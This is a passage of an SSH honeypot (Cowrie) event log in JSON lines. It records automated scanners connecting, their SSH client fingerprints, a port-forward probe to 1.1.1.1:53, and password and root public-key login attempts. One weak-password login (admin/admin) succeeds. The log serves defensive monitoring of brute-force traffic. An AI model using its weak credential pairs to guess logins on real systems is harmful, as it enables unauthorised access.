hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:38:48.694801Z","src_ip":"87.251.64.176","session":"36433e3fc32e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:38:48.984230Z","src_ip":"87.251.64.176","session":"36433e3fc32e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:38:49.083464Z","session":"36433e3fc32e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:38:49.181376Z","src_ip":"87.251.64.176","session":"36433e3fc32e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:38:49.413946Z","src_ip":"87.251.64.176","session":"36433e3fc32e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.211.139","src_port":57571,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec1a10e40671","protocol":"ssh","message":"New connection: 89.144.211.139:57571 (159.203.135.109:22) [session: ec1a10e40671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:39:44.501112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:39:44.512209Z","src_ip":"89.144.211.139","session":"ec1a10e40671","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:39:44.638213Z","src_ip":"89.144.211.139","session":"ec1a10e40671","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:39:45.180509Z","src_ip":"89.144.211.139","session":"ec1a10e40671","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:39:46.320580Z","src_ip":"89.144.211.139","session":"ec1a10e40671","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.211.139","src_port":57572,"dst_ip":"159.203.135.109","dst_port":22,"session":"21c476d6af7e","protocol":"ssh","message":"New connection: 89.144.211.139:57572 (159.203.135.109:22) [session: 21c476d6af7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:40:43.067616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:40:43.072399Z","src_ip":"89.144.211.139","session":"21c476d6af7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:40:43.201361Z","src_ip":"89.144.211.139","session":"21c476d6af7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"usertest","message":"login attempt [testuser/usertest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:40:43.745250Z","src_ip":"89.144.211.139","session":"21c476d6af7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:40:44.877597Z","src_ip":"89.144.211.139","session":"21c476d6af7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":58220,"dst_ip":"10.17.0.5","dst_port":22,"session":"c34a8045a1e0","protocol":"ssh","message":"New connection: 80.94.92.184:58220 (10.17.0.5:22) [session: c34a8045a1e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:40:46.898546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:40:47.020225Z","src_ip":"80.94.92.184","session":"c34a8045a1e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:40:47.025686Z","src_ip":"80.94.92.184","session":"c34a8045a1e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"banxgg","password":"banxgg","message":"login attempt [banxgg/banxgg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:40:48.049340Z","src_ip":"80.94.92.184","session":"c34a8045a1e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:40:49.393673Z","src_ip":"80.94.92.184","session":"c34a8045a1e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.217.88.101","src_port":33742,"dst_ip":"10.17.0.5","dst_port":22,"session":"28974f22d400","protocol":"ssh","message":"New connection: 95.217.88.101:33742 (10.17.0.5:22) [session: 28974f22d400]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:41:29.902025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:41:29.906515Z","src_ip":"95.217.88.101","session":"28974f22d400","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:41:30.018559Z","src_ip":"95.217.88.101","session":"28974f22d400","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:75:bf:12:fb:31:7c:e4:15:ce:94:cf:e5:f5:ab:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyYQYg87z6gIx1o85L4ZSk79Hh/5BV9vubWBCRb+BvB8v5tzIJRK36wVJCm9FXl8LL8kw/H+9Xrs/ymS39FPWiugFbTDjd+2TEG38C5SqCp77txP1ys0pmNWCtBYYeXNxS15NoO2zvkawABi0VFgXkmVq4Keq3mqzIRbF81dsLS4sFnOLyyKM3UI39ZeAX528n482E8bFVu2X7PW8BLa5kSWKs+zEf2SVc8S68odtasBV1G7K4HqfXl1YM6+92J4xcg7BoVuex6qwS3hxEXy/bDw0T8lHnecNTPnYs1RbT6uS3QihNWqgJZ18t3o2cYtxSxxH+eCbm4dHe202O5oQIw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:75:bf:12:fb:31:7c:e4:15:ce:94:cf:e5:f5:ab:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:41:30.548316Z","src_ip":"95.217.88.101","session":"28974f22d400","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:75:bf:12:fb:31:7c:e4:15:ce:94:cf:e5:f5:ab:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyYQYg87z6gIx1o85L4ZSk79Hh/5BV9vubWBCRb+BvB8v5tzIJRK36wVJCm9FXl8LL8kw/H+9Xrs/ymS39FPWiugFbTDjd+2TEG38C5SqCp77txP1ys0pmNWCtBYYeXNxS15NoO2zvkawABi0VFgXkmVq4Keq3mqzIRbF81dsLS4sFnOLyyKM3UI39ZeAX528n482E8bFVu2X7PW8BLa5kSWKs+zEf2SVc8S68odtasBV1G7K4HqfXl1YM6+92J4xcg7BoVuex6qwS3hxEXy/bDw0T8lHnecNTPnYs1RbT6uS3QihNWqgJZ18t3o2cYtxSxxH+eCbm4dHe202O5oQIw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:41:30.552384Z","src_ip":"95.217.88.101","session":"28974f22d400","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:64:5f:48:c1:7f:12:9b:26:24:94:91:6a:0e:99:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDoXH1sr8mwTeY2gbTa15xp7bhgOLCWURIS0aR/ERa8a9D1sg88xRcTF/+KPEwnWsx3pKPm2vPnMLlczXTNL9xseWZp7MQitFCEj5vwxqw/tqJzdfTx/HtFUK9NzARp8RHqcd7AzOqvBZiTfD3I1VHMlhyH0RsZXVUlkDjymMrSp0zIkUiiPesMEhwlHW6hBHndQT665A4swyxAhybhUvj3mripL2v6PnvSD1SAGrn2VirLw+p1wWiLixexR0r9kJ92+KI5L/V1f/Dvc/kLkJ54ho3FR5BpZEny6ZAaw56wCj5jMLSOT7XdVWibH61zdqQn5oLMSCZKpBamV2EAd0+v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b6:64:5f:48:c1:7f:12:9b:26:24:94:91:6a:0e:99:cc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:41:30.664069Z","src_ip":"95.217.88.101","session":"28974f22d400","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:64:5f:48:c1:7f:12:9b:26:24:94:91:6a:0e:99:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDoXH1sr8mwTeY2gbTa15xp7bhgOLCWURIS0aR/ERa8a9D1sg88xRcTF/+KPEwnWsx3pKPm2vPnMLlczXTNL9xseWZp7MQitFCEj5vwxqw/tqJzdfTx/HtFUK9NzARp8RHqcd7AzOqvBZiTfD3I1VHMlhyH0RsZXVUlkDjymMrSp0zIkUiiPesMEhwlHW6hBHndQT665A4swyxAhybhUvj3mripL2v6PnvSD1SAGrn2VirLw+p1wWiLixexR0r9kJ92+KI5L/V1f/Dvc/kLkJ54ho3FR5BpZEny6ZAaw56wCj5jMLSOT7XdVWibH61zdqQn5oLMSCZKpBamV2EAd0+v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:41:30.669826Z","src_ip":"95.217.88.101","session":"28974f22d400","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7e:07:f6:67:c5:41:c7:bb:d8:70:a9:db:f2:0d:12:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAygWr3+s4oU+ehiGsS5KJXzdFdRoDiVKfscqec8aLVqocUHr+OikC1qvzWhvwH28kLcCHfrRnSbBIT2pzxR1pjxChUi0RewryB9SUpCoN/UgWmJjLZ8LQt5v4mQoQDxS3grkCCNtZcbmfNeVexECNqAMFlqLWzophqmFWDjKIg707hmsVp3QdjDu2ja7a/zcozObqaB5Pnpkc6gqSk5RmFZQ+Mqla8HMpq37P+Ec8NJC0a0tXSig3PsY+VYHHjsN6S0FCQRXpQJvYkQCQMxa/+tHSx7EY3uhg+9bP3iU+RicqA+Q5mJnRR/udijkR8iVDhgQ15EI1ICTYyg/K7ZCPBw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7e:07:f6:67:c5:41:c7:bb:d8:70:a9:db:f2:0d:12:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:41:30.781031Z","src_ip":"95.217.88.101","session":"28974f22d400","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7e:07:f6:67:c5:41:c7:bb:d8:70:a9:db:f2:0d:12:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAygWr3+s4oU+ehiGsS5KJXzdFdRoDiVKfscqec8aLVqocUHr+OikC1qvzWhvwH28kLcCHfrRnSbBIT2pzxR1pjxChUi0RewryB9SUpCoN/UgWmJjLZ8LQt5v4mQoQDxS3grkCCNtZcbmfNeVexECNqAMFlqLWzophqmFWDjKIg707hmsVp3QdjDu2ja7a/zcozObqaB5Pnpkc6gqSk5RmFZQ+Mqla8HMpq37P+Ec8NJC0a0tXSig3PsY+VYHHjsN6S0FCQRXpQJvYkQCQMxa/+tHSx7EY3uhg+9bP3iU+RicqA+Q5mJnRR/udijkR8iVDhgQ15EI1ICTYyg/K7ZCPBw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:41:30.785001Z","src_ip":"95.217.88.101","session":"28974f22d400","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ae:12:66:87:c7:c1:c8:b2:07:37:e4:79:8b:bb:f8:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD8+9FzdLWi06gF+SXQx3klKC+zPX6g/qO0Z/KmGvCQjLeRcS5jQsaUxrwObwIHeDUZR07XxuI5KEma3VVFuwfrfVu7FCBR7NfV09PjQjiAw2hxXDR0lMa1DFxzVUnD8pnCT3yGw8f2pYkNhtwZQiUPwbPYDoz/jGSeszDQZ9Cwy+/HMdkAlGQ4SCjtOly/HTLY5P+PmZAPCGVPoXf49X8cuLlm39dxmUe/K/aqqBjJQlq5Uln3udIDIWGp/Thrp2k80w+LMDvqC+1M9YLAJ/bQ57Uf8QLLJnf1uAFJXnydD/Cna78cli1x75lPeK45lK4/BmpWjmeYJXYvejQuipJj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ae:12:66:87:c7:c1:c8:b2:07:37:e4:79:8b:bb:f8:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:41:30.896911Z","src_ip":"95.217.88.101","session":"28974f22d400","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ae:12:66:87:c7:c1:c8:b2:07:37:e4:79:8b:bb:f8:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD8+9FzdLWi06gF+SXQx3klKC+zPX6g/qO0Z/KmGvCQjLeRcS5jQsaUxrwObwIHeDUZR07XxuI5KEma3VVFuwfrfVu7FCBR7NfV09PjQjiAw2hxXDR0lMa1DFxzVUnD8pnCT3yGw8f2pYkNhtwZQiUPwbPYDoz/jGSeszDQZ9Cwy+/HMdkAlGQ4SCjtOly/HTLY5P+PmZAPCGVPoXf49X8cuLlm39dxmUe/K/aqqBjJQlq5Uln3udIDIWGp/Thrp2k80w+LMDvqC+1M9YLAJ/bQ57Uf8QLLJnf1uAFJXnydD/Cna78cli1x75lPeK45lK4/BmpWjmeYJXYvejQuipJj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:41:30.901069Z","src_ip":"95.217.88.101","session":"28974f22d400","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b0:45:ee:4c:71:c7:4a:a3:19:bb:21:f1:c3:49:c7:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSDAkE4ZIjxCTOBI0Uc7HkaBd8IPU+Z3JUHWcGThW9z0iFo2VX5jvx7BazJXkBC82NyW4dxPvxU8rx/O0dxA0WTQ1qwXU31iKhZCDA4SHparJ7Ptx2zg1MNbkSuSVt3EIPFkgc9FbJZud1ieT71oOUI8JwiN+A4Ir8iKQR+1lWo4uy8il2jqC2PSmPu6Le7YSuvVs3HCSkuOPRbk2Xai4IoOcMItarb5AjGkycjwYVryCevAT2RjujFt7Pdsa2538QtUqK6AIP9Cw4SDh9j0SlQWt6hZRvtjY72R96Lh2/3Fd/2VuhdHLSff7cpebB13X50dFedn3LEgV5Ojrpbp7T","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b0:45:ee:4c:71:c7:4a:a3:19:bb:21:f1:c3:49:c7:8c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:41:31.015450Z","src_ip":"95.217.88.101","session":"28974f22d400","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b0:45:ee:4c:71:c7:4a:a3:19:bb:21:f1:c3:49:c7:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSDAkE4ZIjxCTOBI0Uc7HkaBd8IPU+Z3JUHWcGThW9z0iFo2VX5jvx7BazJXkBC82NyW4dxPvxU8rx/O0dxA0WTQ1qwXU31iKhZCDA4SHparJ7Ptx2zg1MNbkSuSVt3EIPFkgc9FbJZud1ieT71oOUI8JwiN+A4Ir8iKQR+1lWo4uy8il2jqC2PSmPu6Le7YSuvVs3HCSkuOPRbk2Xai4IoOcMItarb5AjGkycjwYVryCevAT2RjujFt7Pdsa2538QtUqK6AIP9Cw4SDh9j0SlQWt6hZRvtjY72R96Lh2/3Fd/2VuhdHLSff7cpebB13X50dFedn3LEgV5Ojrpbp7T","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:41:31.018826Z","src_ip":"95.217.88.101","session":"28974f22d400","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:41:31.129612Z","src_ip":"95.217.88.101","session":"28974f22d400","protocol":"ssh"}
